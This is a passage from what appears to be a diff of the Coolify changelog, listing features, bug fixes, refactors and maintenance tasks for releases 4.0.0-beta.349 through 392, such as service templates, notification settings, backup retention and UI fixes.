Enhance Slack deployment success notification formatting -- *(ui)* Simplify service templates loading logic -- *(ui)* Align title and add button vertically in various views -- Handle pullrequest:updated for reliable preview deployments -- *(ui)* Fix typo on team page (#5105) -- Cal.com documentation link give 404 (#5070) -- *(slack)* Notification settings URL in `HighDiskUsage` message (#5071) -- *(ui)* Correct typo in Storage delete dialog (#5061) -- *(lang)* Add missing italian translations (#5057) -- *(service)* Improve duplicati.yaml (#4971) -- *(service)* Links in homepage service (#5002) -- *(service)* Added SMTP credentials to getoutline yaml template file (#5011) -- *(service)* Added `KEY` Variable to Beszel Template (#5021) -- *(cloudflare-tunnels)* Dead links to docs (#5104) -- System-wide GitHub apps (#5114) - -### 🚜 Refactor - -- Simplify service start and restart workflows - -### 📚 Documentation - -- *(services)* Reword nitropage url and slogan -- *(readme)* Add Convex to special sponsors section -- Update changelog - -### ⚙️ Miscellaneous Tasks - -- *(config)* Increase default PHP memory limit to 256M -- Add openapi response -- *(workflows)* Make naming more clear and remove unused code -- Bump Coolify version to 4.0.0-beta.392/393 -- *(ci)* Update changelog generation workflow to target 'next' branch -- *(ci)* Update changelog generation workflow to target main branch - -## [4.0.0-beta.390] - 2025-01-28 - -### 🚀 Features - -- *(template)* Add Open Web UI -- *(templates)* Add Open Web UI service template -- *(ui)* Update GitHub source creation advanced section label -- *(core)* Add dynamic label reset for application settings -- *(ui)* Conditionally enable advanced application settings based on label readonly status -- *(env)* Added COOLIFY_RESOURCE_UUID environment variable -- *(vite)* Add Cloudflare async script and style tag attributes -- *(meta)* Add comprehensive SEO and social media meta tags -- *(core)* Add name to default proxy configuration - -### 🐛 Bug Fixes - -- *(ui)* Update database control UI to check server functionality before displaying actions -- *(ui)* Typo in upgrade message -- *(ui)* Cloudflare tunnel configuration should be an info, not a warning -- *(s3)* DigitalOcean storage buckets do not work -- *(ui)* Correct typo in container label helper text -- Disable certain parts if readonly label is turned off -- Cleanup old scheduled_task_executions -- Validate cron expression in Scheduled Task update -- *(core)* Check cron expression on save -- *(database)* Detect more postgres database image types -- *(templates)* Update service templates -- Remove quotes in COOLIFY_CONTAINER_NAME -- *(templates)* Update Trigger.dev service templates with v3 configuration -- *(database)* Adjust MongoDB restore command and import view styling -- *(core)* Improve public repository URL parsing for branch and base directory -- *(core)* Increase HTTP/2 max concurrent streams to 250 (default) -- *(ui)* Update docker compose file helper text to clarify repository modification -- *(ui)* Skip SERVICE_FQDN and SERVICE_URL variables during update -- *(core)* Stopping database is not disabling db proxy -- *(core)* Remove --remove-orphans flag from proxy startup command to prevent other proxy deletions (db) -- *(api)* Domain check when updating domain -- *(ui)* Always redirect to dashboard after team switch -- *(backup)* Escape special characters in database backup commands - -### 💼 Other - -- Trigger.dev templates - wrong key length issue -- Trigger.dev template - missing ports and wrong env usage -- Trigger.dev template - fixed otel config -- Trigger.dev template - fixed otel config -- Trigger.dev template - fixed port config - -### 🚜 Refactor - -- *(s3)* Improve S3 bucket endpoint formatting -- *(vite)* Improve environment variable handling in Vite configuration -- *(ui)* Simplify GitHub App registration UI and layout - -### ⚙️ Miscellaneous Tasks - -- *(version)* Bump Coolify version to 4.0.0-beta.391 - -### ◀️ Revert - -- Remove Cloudflare async tag attributes - -## [4.0.0-beta.389] - 2025-01-23 - -### 🚀 Features - -- *(docs)* Update tech stack -- *(terminal)* Show terminal unavailable if the container does not have a shell on the global terminal UI -- *(ui)* Improve deployment UI - -### 🐛 Bug Fixes - -- *(service)* Infinite loading and lag with invoiceninja service (#4876) -- *(service)* Invoiceninja service -- *(workflows)* `Waiting for changes` label should also be considered and improved messages -- *(workflows)* Remove tags only if the PR has been merged into the main branch -- *(terminal)* Terminal shows that it is not available, even though it is -- *(labels)* Docker labels do not generated correctly -- *(helper)* Downgrade Nixpacks to v1.29.0 -- *(labels)* Generate labels when they are empty not when they are already generated -- *(storage)* Hetzner storage buckets not working - -### 📚 Documentation - -- Add TECH_STACK.md (#4883) - -### ⚙️ Miscellaneous Tasks - -- *(versions)* Update coolify versions to v4.0.0-beta.389 -- *(core)* EnvironmentVariable Model now extends BaseModel to remove duplicated code -- *(versions)* Update coolify versions to v4.0.0-beta.3909 - -## [4.0.0-beta.388] - 2025-01-22 - -### 🚀 Features - -- *(core)* Add SOURCE_COMMIT variable to build environment in ApplicationDeploymentJob -- *(service)* Update affine.yaml with AI environment variables (#4918) -- *(service)* Add new service Flipt (#4875) - -### 🐛 Bug Fixes - -- *(core)* Update environment variable generation logic in ApplicationDeploymentJob to handle different build packs -- *(env)* Shared variables can not be updated -- *(ui)* Metrics stuck in loading state -- *(ui)* Use `wire:navigate` to navigate to the server settings page -- *(service)* Plunk API & health check endpoint (#4925) - -## [4.0.0-beta.386] - 2025-01-22 - -### 🐛 Bug Fixes - -- *(redis)* Update environment variable keys from standalone_redis_id to resourceable_id -- *(routes)* Local API docs not available on domain or IP -- *(routes)* Local API docs not available on domain or IP -- *(core)* Update application_id references to resourable_id and resourable_type for Nixpacks configuration -- *(core)* Correct spelling of 'resourable' to 'resourceable' in Nixpacks configuration for ApplicationDeploymentJob -- *(ui)* Traefik dashboard url not working -- *(ui)* Proxy status badge flashing during navigation - -### 🚜 Refactor - -- *(workflows)* Replace jq with PHP script for version retrieval in workflows - -### ⚙️ Miscellaneous Tasks - -- *(dep)* Bump helper version to 1.0.5 -- *(docker)* Add blank line for readability in Dockerfile -- *(versions)* Update coolify versions to v4.0.0-beta.388 -- *(versions)* Update coolify versions to v4.0.0-beta.389 and add helper version retrieval script - -## [4.0.0-beta.385] - 2025-01-21 - -### 🚀 Features - -- *(core)* Wip version of coolify.json - -### 🐛 Bug Fixes - -- *(email)* Transactional email sending -- *(ui)* Add missing save button for new Docker Cleanup page -- *(ui)* Show preview deployment environment variables -- *(ui)* Show error on terminal if container has no shell (bash/sh) -- *(parser)* Resource URL should only be parsed if there is one -- *(core)* Compose parsing for apps - -### ⚙️ Miscellaneous Tasks - -- *(dep)* Bump nixpacks version -- *(dep)* Version++ - -## [4.0.0-beta.384] - 2025-01-21 - -### 🐛 Bug Fixes - -- *(ui)* Backups link should not redirected to general -- Envs with special chars during build -- *(db)* `finished_at` timestamps are not set for existing deployments -- Load service templates on cloud - -## [4.0.0-beta.383] - 2025-01-20 - -### 🐛 Bug Fixes - -- *(service)* Add healthcheck to Cloudflared service (#4859) -- Remove wire:navigate from import backups - -## [4.0.0-beta.382] - 2025-01-17 - -### 🚀 Features - -- Add log file check message in upgrade script for better troubleshooting -- Add root user details to install script - -### 🐛 Bug Fixes - -- Create the private key before the server in the prod seeder -- Update ProductionSeeder to check for private key instead of server's private key -- *(ui)* Missing underline for docs link in the Swarm section (#4860) -- *(service)* Change chatwoot service postgres image from `postgres:12` to `pgvector/pgvector:pg12` -- Docker image parser -- Add public key attribute to privatekey model -- Correct service update logic in Docker Compose parser -- Update CDN URL in install script to point to nightly version - -### 🚜 Refactor - -- Comment out RootUserSeeder call in ProductionSeeder for clarity -- Streamline ProductionSeeder by removing debug logs and unnecessary checks, while ensuring essential seeding operations remain intact -- Remove debug echo statements from Init command to clean up output and improve readability - -## [4.0.0-beta.381] - 2025-01-17 - -### 🚀 Features - -- Able to import full db backups for pg/mysql/mariadb -- Restore backup from server file -- Docker volume data cloning -- Move volume data cloning to a Job -- Volume cloning for ResourceOperations -- Remote server volume cloning -- Add horizon server details to queue -- Enhance horizon:manage command with worker restart check -- Add is_coolify_host to the server api responses -- DB migration for Backup retention -- UI for backup retention settings -- New global s3 and local backup deletion function -- Use new backup deletion functions -- Add calibre-web service -- Add actual-budget service -- Add rallly service -- Template for Gotenberg, a Docker-powered stateless API for PDF files -- Enhance import command options with additional guidance and improved checkbox label -- Purify for better sanitization -- Move docker cleanup to its own tab -- DB and Model for docker cleanup executions -- DockerCleanupExecutions relationship -- DockerCleanupDone event -- Get command and output for logs from CleanupDocker -- New sidebar menu and order -- Docker cleanup executions UI -- Add execution log to dockerCleanupJob -- Improve deployment UI -- Root user envs and seeding -- Email, username and password validation when they are set via envs -- Improved error handling and log output -- Add root user configuration variables to production environment - -### 🐛 Bug Fixes - -- Compose envs -- Scheduled tasks and backups are executed by server timezone. -- Show backup timezone on the UI -- Disappearing UI after livewire event received -- Add default vector db for anythingllm -- We need XSRF-TOKEN for terminal -- Prevent default link behavior for resource and settings actions in dashboard -- Increase default php memory limit -- Show if only build servers are added to your team -- Update Livewire button click method to use camelCase -- Local dropzonejs -- Import backups due to js stuff should not be navigated -- Install inetutils on Arch Linux -- Use ip in place of hostname from inetutils in arch -- Update import command to append file redirection for database restoration -- Ui bug on pw confirmation -- Exclude system and computed fields from model replication -- Service cloning on a separate server -- Application cloning -- `Undefined variable $fs_path` for databases -- Service and database cloning and label generation -- Labels and URL generation when cloning -- Clone naming for different database data volumes -- Implement all the cloneMe changes for ResourceOperations as well -- Volume and fileStorages cloning -- View text and helpers -- Teable -- Trigger with external db -- Set `EXPERIMENTAL_FEATURES` to false for labelstudio -- Monaco editor disabled state -- Edge case where executions could be null -- Create destination properly -- Getcontainer status should timeout after 30s -- Enable response for temporary unavailability in sentinel push endpoint -- Use timeout in cleanup resources -- Add timeout to sentinel process checks for improved reliability -- Horizon job checker -- Update response message for sentinel push route -- Add own servers on cloud -- Application deployment -- Service update statsu -- If $SERVICE found in the service specific configuration, then search for it in the db -- Instance wide GitHub apps are not available on other teams then the source team -- Function calls -- UI -- Deletion of single backup -- Backup job deletion - delete all backups from s3 and local -- Use new removeOldBackups function -- Retention functions and folder deletion for local backups -- Storage retention setting -- Db without s3 should still backup -- Wording -- `Undefined variable $service` when creating a new service -- Nodebb service -- Calibre-web service -- Rallly and actualbudget service -- Removed container_name -- Added healthcheck for gotenberg template -- Gotenberg -- *(template)* Gotenberg healthcheck, use /health instead of /version -- Use wire:navigate on sidebar -- Use wire:navigate on dashboard -- Use wire:navigate on projects page -- More wire:navigate -- Even more wire:navigate -- Service navigation -- Logs icons everywhere + terminal -- Redis DB should use the new resourceable columns -- Joomla service -- Add back letters to prod password requirement -- Check System and GitHub time and throw and error if it is over 50s out of sync -- Error message and server time getting -- Error rendering -- Render html correctly now -- Indent -- Potential fix for permissions update -- Expiration time claim ('exp') must be a numeric value -- Sanitize html error messages -- Production password rule and cleanup code -- Use json as it is just better than string for huge amount of logs -- Use `wire:navigate` on server sidebar -- Use finished_at for the end time instead of created_at -- Cancelled deployments should not show end and duration time -- Redirect to server index instead of show on error in Advanced and DockerCleanup components -- Disable registration after creating the root user -- RootUserSeeder -- Regex username validation -- Add spacing around echo outputs -- Success message -- Silent return if envs are empty or not set. - -### 💼 Other - -- Arrrrr -- Dep -- Docker dep - -### 🚜 Refactor - -- Rename parameter in DatabaseBackupJob for clarity -- Improve checkbox component accessibility and styling -- Remove unused tags method from ApplicationDeploymentJob -- Improve deployment status check in isAnyDeploymentInprogress function -- Extend HorizonServiceProvider from HorizonApplicationServiceProvider -- Streamline job status retrieval and clean up repository interface -- Enhance ApplicationDeploymentJob and HorizonServiceProvider for improved job handling -- Remove commented-out unsubscribe route from API -- Update redirect calls to use a consistent navigation method in deployment functions -- AppServiceProvider -- Github.php -- Improve data formatting and UI - -### ⚙️ Miscellaneous Tasks - -- Improve Penpot healthchecks -- Switch up readonly lables to make more sense -- Remove unused computed fields -- Use the new job dispatch -- Disable volume data cloning for now -- Improve code -- Lowcoder service naming -- Use new functions -- Improve error styling -- Css -- More css as it still looks like shit -- Final css touches -- Ajust time to 50s (tests done) -- Remove debug log, finally found it -- Remove more logging -- Remove limit on commit message -- Remove dayjs -- Remove unused code and fix import - -## [4.0.0-beta.380] - 2024-12-27 - -### 🚀 Features - -- New ServerReachabilityChanged event -- Use new ServerReachabilityChanged event instead of isDirty -- Add infomaniak oauth -- Add server disk usage check frequency -- Add environment_uuid support and update API documentation -- Add service/resource/project labels -- Add coolify.environment label -- Add database subtype -- Migrate to new encryption options -- New encryption options - -### 🐛 Bug Fixes - -- Render html on error page correctly -- Invalid API response on missing project -- Applications API response code + schema -- Applications API writing to unavailable models -- If an init script is renamed the old version is still on the server -- Oauthseeder -- Compose loading seq -- Resource clone name + volume name generation -- Update Dockerfile entrypoint path to /etc/entrypoint.d -- Debug mode -- Unreachable notifications -- Remove duplicated ServerCheckJob call -- Few fixes and use new ServerReachabilityChanged event -- Use serverStatus not just status -- Oauth seeder -- Service ui structure -- Check port 8080 and fallback to 80 -- Refactor database view -- Always use docker cleanup frequency -- Advanced server UI -- Html css -- Fix domain being override when update application -- Use nixpacks predefined build variables, but still could update the default values from Coolify -- Use local monaco-editor instead of Cloudflare -- N8n timezone -- Smtp encryption -- Bind() to 0.0.0.0:80 failed -- Oauth seeder -- Unreachable notifications -- Instance settings migration -- Only encrypt instance email settings if there are any -- Error message -- Update healthcheck and port configurations to use port 8080 - -### 🚜 Refactor - -- Rename `coolify.environment` to `coolify.environmentName` - -### ⚙️ Miscellaneous Tasks - -- Regenerate API spec, removing notification fields -- Remove ray debugging -- Version ++ - -## [4.0.0-beta.378] - 2024-12-13 - -### 🐛 Bug Fixes - -- Monaco editor light and dark mode switching -- Service status indicator + oauth saving -- Socialite for azure and authentik -- Saving oauth -- Fallback for copy button -- Copy the right text -- Maybe fallback is now working -- Only show copy button on secure context - -## [4.0.0-beta.377] - 2024-12-13 - -### 🚀 Features - -- Add deploy-only token permission -- Able to deploy without cache on every commit -- Update private key nam with new slug as well -- Allow disabling default redirect, set status to 503 -- Add TLS configuration for default redirect in Server model -- Slack notifications -- Introduce root permission -- Able to download schedule task logs -- Migrate old email notification settings from the teams table -- Migrate old discord notification settings from the teams table -- Migrate old telegram notification settings from the teams table -- Add slack notifications to a new table -- Enable success messages again -- Use new notification stuff inside team model -- Some more notification settings and better defaults -- New email notification settings -- New shared function name `is_transactional_emails_enabled()` -- New shared notifications functions -- Email Notification Settings Model -- Telegram notification settings Model -- Discord notification settings Model -- Slack notification settings Model -- New Discord notification UI -- New Slack notification UI -- New telegram UI -- Use new notification event names -- Always sent notifications -- Scheduled task success notification -- Notification trait -- Get discord Webhook form new table -- Get Slack Webhook form new table -- Use new table or instance settings for email -- Use new place for settings and topic IDs for telegram -- Encrypt instance email settings -- Use encryption in instance settings model -- Scheduled task success and failure notifications -- Add docker cleanup success and failure notification settings columns -- UI for docker cleanup success and failure notification -- Docker cleanup email views -- Docker cleanup success and failure notification files -- Scheduled task success email -- Send new docker cleanup notifications -- :passport_control: integrate Authentik authentication with Coolify -- *(notification)* Add Pushover -- Add seeder command and configuration for database seeding -- Add new password magic env with symbols -- Add documenso service - -### 🐛 Bug Fixes - -- Resolve undefined searchInput reference in Alpine.js component -- URL and sync new app name -- Typos and naming -- Client and webhook secret disappear after sync -- Missing `mysql_password` API property -- Incorrect MongoDB init API property -- Old git versions does not have --cone implemented properly -- Don't allow editing traefik config -- Restart proxy -- Dev mode -- Ui -- Display actual values for disk space checks in installer script -- Proxy change behaviour -- Add warning color -- Import NotificationSlack correctly -- Add middleware to new abilities, better ux for selecting permissions, etc. -- Root + read:sensive could read senstive data with a middlewarew -- Always have download logs button on scheduled tasks -- Missing css -- Development image -- Dockerignore -- DB migration error -- Drop all unused smtp columns -- Backward compatibility -- Email notification channel enabled function -- Instance email settins -- Make sure resend is false if SMTP is true and vice versa -- Email Notification saving -- Slack and discord url now uses text filed because encryption makes the url very long -- Notification trait -- Encryption fixes -- Docker cleanup email template -- Add missing deployment notifications to telegram -- New docker cleanup settings are now saved to the DB correctly -- Ui + migrations -- Docker cleanup email notifications -- General notifications does not go through email channel -- Test notifications to only send it to the right channel -- Remove resale_license from db as well -- Nexus service -- Fileflows volume names -- --cone -- Provider error -- Database migration -- Seeder -- Migration call -- Slack helper -- Telegram helper -- Discord helper -- Telegram topic IDs -- Make pushover settings more clear -- Typo in pushover user key -- Use Livewire refresh method and lock properties -- Create pushover settings for existing teams -- Update token permission check from 'write' to 'root' -- Pushover -- Oauth seeder -- Correct heading display for OAuth settings in settings-oauth.blade.php -- Adjust spacing in login form for improved layout -- Services env values should be sensitive -- Documenso -- Dolibarr +- Secrets join +- ENV variables set differently +- Capture non-error as error +- Only delete id.rsa in case of it exists +- Status is not available yet +- Docker Engine bug related to live-restore and IPs +- Version +- PreventDefault on a button, thats all +- Haproxy check should not throw error +- Delete all build files +- Cleanup images +- More error handling in proxy configuration + cleanups +- Local static assets +- Check sentry - Typo -- Update OauthSettingSeeder to handle new provider definitions and ensure authentik is recreated if missing -- Improve OauthSettingSeeder to correctly delete non-existent providers and ensure proper handling of provider definitions -- Encrypt resend API key in instance settings -- Resend api key is already a text column - -### 💼 Other - -- Test rename GitHub app -- Checkmate service and fix prowlar slogan (too long) - -### 🚜 Refactor - -- Update Traefik configuration for improved security and logging -- Improve proxy configuration and code consistency in Server model -- Rename name method to sanitizedName in BaseModel for clarity -- Improve migration command and enhance application model with global scope and status checks -- Unify notification icon -- Remove unused Azure and Authentik service configurations from services.php -- Change email column types in instance_settings migration from string to text -- Change OauthSetting creation to updateOrCreate for better handling of existing records - -### ⚙️ Miscellaneous Tasks - -- Regenerate openapi spec -- Composer dep bump -- Dep bump -- Upgrade cloudflared and minio -- Remove comments and improve DB column naming -- Remove unused seeder -- Remove unused waitlist stuff -- Remove wired.php (not used anymore) -- Remove unused resale license job -- Remove commented out internal notification -- Remove more waitlist stuff -- Remove commented out notification -- Remove more waitlist stuff -- Remove unused code -- Fix typo -- Remove comment out code -- Some reordering -- Remove resale license reference -- Remove functions from shared.php -- Public settings for email notification -- Remove waitlist redirect -- Remove log -- Use new notification trait -- Remove unused route -- Remove unused email component -- Comment status changes as it is disabled for now -- Bump dep -- Reorder navbar -- Rename topicID to threadId like in the telegram API response -- Update PHP configuration to set memory limit using environment variable - -## [4.0.0-beta.376] - 2024-12-07 - -### 🐛 Bug Fixes - -- Api endpoint - -## [4.0.0-beta.374] - 2024-12-03 - -### 🐛 Bug Fixes - -- Application view loading -- Postiz service -- Only able to select the right keys -- Test email should not be required -- A few inputs - -### 🧪 Testing - -- Setup database for upcoming tests - -## [4.0.0-beta.372] - 2024-11-26 - -### 🚀 Features - -- Add MacOS template -- Add Windows template -- *(service)* :sparkles: add mealie -- Add hex magic env var - -### 🐛 Bug Fixes - -- Service generate includes yml files as well (haha) -- ServercheckJob should run every 5 minutes on cloud -- New resource icons -- Search should be more visible on scroll on new resource -- Logdrain settings -- Ui -- Email should be retried with backoff -- Alpine in body layout - -### 💼 Other - -- Caddy docker labels do not honor "strip prefix" option - -## [4.0.0-beta.371] - 2024-11-22 - -### 🐛 Bug Fixes - -- Improve helper text for metrics input fields -- Refine helper text for metrics input fields -- If mux conn fails, still use it without mux + save priv key with better logic -- Migration -- Always validate ssh key -- Make sure important jobs/actions are running on high prio queue -- Do not send internal notification for backups and status jobs -- Validateconnection -- View issue -- Heading -- Remove mux cleanup -- Db backup for services -- Version should come from constants + fix stripe webhook error reporting -- Undefined variable -- Remove version.php as everything is coming from constants.php -- Sentry error -- Websocket connections autoreconnect -- Sentry error -- Sentry -- Empty server API response -- Incorrect server API patch response -- Missing `uuid` parameter on server API patch -- Missing `settings` property on servers API -- Move servers API `delete_unused_*` properties -- Servers API returning `port` as a string -> integer -- Only return server uuid on server update - -## [4.0.0-beta.370] - 2024-11-15 - -### 🐛 Bug Fixes - -- Modal (+ add) on dynamic config was not opening, removed x-cloak -- AUTOUPDATE + checkbox opacity - -## [4.0.0-beta.369] - 2024-11-15 - -### 🐛 Bug Fixes - -- Modal-input - -## [4.0.0-beta.368] - 2024-11-15 - -### 🚀 Features - -- Check local horizon scheduler deployments -- Add internal api docs to /docs/api with auth -- Add proxy type change to create/update apis - -### 🐛 Bug Fixes - -- Show proper error message on invalid Git source -- Convert HTTP to SSH source when using deploy key on GitHub -- Cloud + stripe related -- Terminal view loading in async -- Cool 500 error (thanks hugodos) -- Update schema in code decorator -- Openapi docs -- Add tests for git url converts -- Minio / logto url generation -- Admin view -- Min docker version 26 -- Pull latest service-templates.json on init -- Workflow files for coolify build -- Autocompletes -- Timezone settings validation -- Invalid tz should not prevent other jobs to be executed -- Testing-host should be built locally -- Poll with modal issue -- Terminal opening issue -- If service img not found, use github as a source -- Fallback to local coolify.png -- Gather private ips -- Cf tunnel menu should be visible when server is not validated -- Deployment optimizations -- Init script + optimize laravel -- Default docker engine version + fix install script -- Pull helper image on init -- SPA static site default nginx conf - -### 💼 Other - -- Https://github.com/coollabsio/coolify/issues/4186 -- Separate resources by type in projects view -- Improve s3 add view - -### ⚙️ Miscellaneous Tasks - -- Update dep - -## [4.0.0-beta.365] - 2024-11-11 - -### 🚀 Features - -- Custom nginx configuration for static deployments + fix 404 redirects in nginx conf - -### 🐛 Bug Fixes - -- Trigger.dev db host & sslmode=disable -- Manual update should be executed only once + better UX -- Upgrade.sh -- Missing privateKey - -## [4.0.0-beta.364] - 2024-11-08 - -### 🐛 Bug Fixes - -- Define separate volumes for mattermost service template -- Github app name is too long -- ServerTimezone update - -### ⚙️ Miscellaneous Tasks - -- Edit www helper - -## [4.0.0-beta.363] - 2024-11-08 - -### 🚀 Features - -- Add Firefox template -- Add template for Wiki.js -- Add upgrade logs to /data/coolify/source - -### 🐛 Bug Fixes - -- Saving resend api key -- Wildcard domain save -- Disable cloudflare tunnel on "localhost" - -## [4.0.0-beta.362] - 2024-11-08 - -### 🐛 Bug Fixes - -- Notifications ui -- Disable wire:navigate -- Confirmation Settings css for light mode -- Server wildcard - -## [4.0.0-beta.361] - 2024-11-08 - -### 🚀 Features - -- Add Transmission template -- Add transmission healhcheck -- Add zipline template -- Dify template -- Required envs -- Add EdgeDB -- Show warning if people would like to use sslip with https -- Add is shared to env variables -- Variabel sync and support shared vars -- Add notification settings to server_disk_usage -- Add coder service tamplate and logo -- Debug mode for sentinel -- Add jitsi template -- Add --gpu support for custom docker command - -### 🐛 Bug Fixes - -- Make sure caddy is not removed by cleanup -- Libretranslate -- Do not allow to change number of lines when streaming logs -- Plunk -- No manual timezones -- Helper push -- Format -- Add port metadata and Coolify magic to generate the domain -- Sentinel -- Metrics -- Generate sentinel url -- Only enable Sentinel for new servers -- Is_static through API -- Allow setting standalone redis variables via ENVs (team variables...) -- Check for username separately form password -- Encrypt all existing redis passwords -- Pull helper image on helper_version change -- Redis database user and password -- Able to update ipv4 / ipv6 instance settings -- Metrics for dbs -- Sentinel start fixed -- Validate sentinel custom URL when enabling sentinel -- Should be able to reset labels in read-only mode with manual click -- No sentinel for swarm yet -- Charts ui -- Volume -- Sentinel config changes restarts sentinel -- Disable sentinel for now -- Disable Sentinel temporarily -- Disable Sentinel temporarily for non-dev environments -- Access team's github apps only -- Admins should now invite owner -- Add experimental flag -- GenerateSentinelUrl method -- NumberOfLines could be null -- Login / register view -- Restart sentinel once a day -- Changing private key manually won't trigger a notification -- Grammar for helper -- Fix my own grammar -- Add telescope only in dev mode -- New way to update container statuses -- Only run server storage every 10 mins if sentinel is not active -- Cloud admin view -- Queries in kernel.php -- Lower case emails only -- Change emails to lowercase on init -- Do not error on update email -- Always authenticate with lowercase emails -- Dashboard refactor -- Add min/max length to input/texarea -- Remove livewire legacy from help view -- Remove unnecessary endpoints (magic) -- Transactional email livewire -- Destinations livewire refactor -- Refactor destination/docker view -- Logdrains validation -- Reworded -- Use Auth(), add new db proxy stop event refactor clickhouse view -- Add user/pw to db view -- Sort servers by name -- Keydb view -- Refactor tags view / remove obsolete one -- Send discord/telegram notifications on high job queue -- Server view refresh on validation -- ShowBoarding -- Show docker installation logs & ubuntu 24.10 notification -- Do not overlap servercheckjob -- Server limit check -- Server validation -- Clear route / view -- Only skip docker installation on 24.10 if its not installed -- For --gpus device support -- Db/service start should be on high queue -- Do not stop sentinel on Coolify restart -- Run resourceCheck after new serviceCheckJob -- Mongodb in dev -- Better invitation errors -- Loading indicator for db proxies -- Do not execute gh workflow on template changes -- Only use sentry in cloud -- Update packagejson of coolify-realtime + add lock file -- Update last online with old function -- Seeder should not start sentinel -- Start sentinel on seeder - -### 💼 Other - -- Add peppermint -- Loggy -- Add UI for redis password and username -- Wireguard-easy template - -### 📚 Documentation - -- Update link to deploy api docs - -### ⚙️ Miscellaneous Tasks - -- Add transmission template desc -- Update transmission docs link -- Update version numbers to 4.0.0-beta.360 in configuration files -- Update AWS environment variable names in unsend.yaml -- Update AWS environment variable names in unsend.yaml -- Update livewire/livewire dependency to version 3.4.9 -- Update version to 4.0.0-beta.361 -- Update Docker build and push actions to v6 -- Update Docker build and push actions to v6 -- Update Docker build and push actions to v6 -- Sync coolify-helper to dockerhub as well -- Push realtime to dockerhub -- Sync coolify-realtime to dockerhub -- Rename workflows -- Rename development to staging build -- Sync coolify-testing-host to dockerhbu -- Sync coolify prod image to dockerhub as well -- Update Docker version to 26.0 -- Update project resource index page -- Update project service configuration view - -## [4.0.0-beta.360] - 2024-10-11 - -### ⚙️ Miscellaneous Tasks - -- Update livewire/livewire dependency to version 3.4.9 - -## [4.0.0-beta.359] - 2024-10-11 - -### 🐛 Bug Fixes - -- Use correct env variable for invoice ninja password - -### ⚙️ Miscellaneous Tasks - -- Update laravel/horizon dependency to version 5.29.1 -- Update service extra fields to use dynamic keys - -## [4.0.0-beta.358] - 2024-10-10 - -### 🚀 Features - -- Add customHelper to stack-form -- Add cloudbeaver template -- Add ntfy template -- Add qbittorrent template -- Add Homebox template -- Add owncloud service and logo -- Add immich service -- Auto generate url -- Refactored to work with coolify auto env vars -- Affine service template and logo -- Add LibreTranslate template -- Open version in a new tab - -### 🐛 Bug Fixes - -- Signup -- Application domains should be http and https only -- Validate and sanitize application domains -- Sanitize and validate application domains - -### 💼 Other - -- Other DB options for freshrss -- Nextcloud MariaDB and MySQL versions - -### ⚙️ Miscellaneous Tasks - -- Fix form submission and keydown event handling in modal-confirmation.blade.php -- Update version numbers to 4.0.0-beta.359 in configuration files -- Disable adding default environment variables in shared.php - -## [4.0.0-beta.357] - 2024-10-08 - -### 🚀 Features - -- Add Mautic 4 and 5 to service templates -- Add keycloak template -- Add onedev template -- Improve search functionality in project selection - -### 🐛 Bug Fixes - -- Update mattermost image tag and add default port -- Remove env, change timezone -- Postgres healthcheck -- Azimutt template - still not working haha -- New parser with SERVICE_URL_ envs -- Improve service template readability -- Update password variables in Service model -- Scheduled database server -- Select server view - -### 💼 Other - -- Keycloak - -### ⚙️ Miscellaneous Tasks - -- Add mattermost logo as svg -- Add mattermost svg to compose -- Update version to 4.0.0-beta.357 - -## [4.0.0-beta.356] - 2024-10-07 - -### 🚀 Features - -- Add Argilla service configuration to Service model -- Add Invoice Ninja service configuration to Service model -- Project search on frontend -- Add ollama service with open webui and logo -- Update setType method to use slug value for type -- Refactor setType method to use slug value for type -- Refactor setType method to use slug value for type -- Add Supertokens template -- Add easyappointments service template -- Add dozzle template -- Adds forgejo service with runners - -### 🐛 Bug Fixes - -- Reset description and subject fields after submitting feedback -- Tag mass redeployments -- Service env orders, application env orders -- Proxy conf in dev -- One-click services -- Use local service-templates in dev -- New services -- Remove not used extra host -- Chatwoot service -- Directus -- Database descriptions -- Update services -- Soketi -- Select server view - -### 💼 Other - -- Update helper version -- Outline -- Directus -- Supertokens -- Supertokens json -- Rabbitmq -- Easyappointments -- Soketi -- Dozzle -- Windmill -- Coolify.json - -### ⚙️ Miscellaneous Tasks - -- Update version to 4.0.0-beta.356 -- Remove commented code for shared variable type validation -- Update MariaDB image to version 11 and fix service environment variable orders -- Update anythingllm.yaml volumes configuration -- Update proxy configuration paths for Caddy and Nginx in dev -- Update password form submission in modal-confirmation component -- Update project query to order by name in uppercase -- Update project query to order by name in lowercase -- Update select.blade.php with improved search functionality -- Add Nitropage service template and logo -- Bump coolify-helper version to 1.0.2 -- Refactor loadServices2 method and remove unused code -- Update version to 4.0.0-beta.357 -- Update service names and volumes in windmill.yaml -- Update version to 4.0.0-beta.358 -- Ignore .ignition.json files in Docker and Git - -## [4.0.0-beta.355] - 2024-10-03 - -### 🐛 Bug Fixes - -- Scheduled backup for services view -- Parser, espacing container labels - -### ⚙️ Miscellaneous Tasks - -- Update homarr service template and remove unnecessary code -- Update version to 4.0.0-beta.355 - -## [4.0.0-beta.354] - 2024-10-03 - -### 🚀 Features - -- Add it-tools service template and logo -- Add homarr service tamplate and logo - -### 🐛 Bug Fixes - -- Parse proxy config and check the set ports usage -- Update FQDN - -### ⚙️ Miscellaneous Tasks - -- Update version to 4.0.0-beta.354 -- Remove debug statement in Service model -- Remove commented code in Server model -- Fix application deployment queue filter logic -- Refactor modal-confirmation component -- Update it-tools service template and port configuration -- Update homarr service template and remove unnecessary code - -## [4.0.0-beta.353] - 2024-10-03 - -### ⚙️ Miscellaneous Tasks - -- Update version to 4.0.0-beta.353 -- Update service application view - -## [4.0.0-beta.352] - 2024-10-03 - -### 🐛 Bug Fixes - -- Service application view -- Add new supported database images - -### ⚙️ Miscellaneous Tasks - -- Update version to 4.0.0-beta.352 -- Refactor DatabaseBackupJob to handle missing team - -## [4.0.0-beta.351] - 2024-10-03 - -### 🚀 Features - -- Add strapi template - -### 🐛 Bug Fixes - -- Able to support more database dynamically from Coolify's UI -- Strapi template -- Bitcoin core template -- Api useBuildServer - -## [4.0.0-beta.349] - 2024-10-01 - -### 🚀 Features - -- Add command to check application deployment queue -- Support Hetzner S3 -- Handle HTTPS domain in ConfigureCloudflareTunnels -- Backup all databases for mysql,mariadb,postgresql -- Restart service without pulling the latest image - -### 🐛 Bug Fixes - -- Remove autofocuses -- Ipv6 scp should use -6 flag -- Cleanup stucked applicationdeploymentqueue -- Realtime watch in development mode -- Able to select root permission easier - -### 💼 Other - -- Show backup button on supported db service stacks - -### 🚜 Refactor - -- Remove deployment queue when deleting an application -- Improve SSH command generation in Terminal.php and terminal-server.js -- Fix indentation in modal-confirmation.blade.php -- Improve parsing of commands for sudo 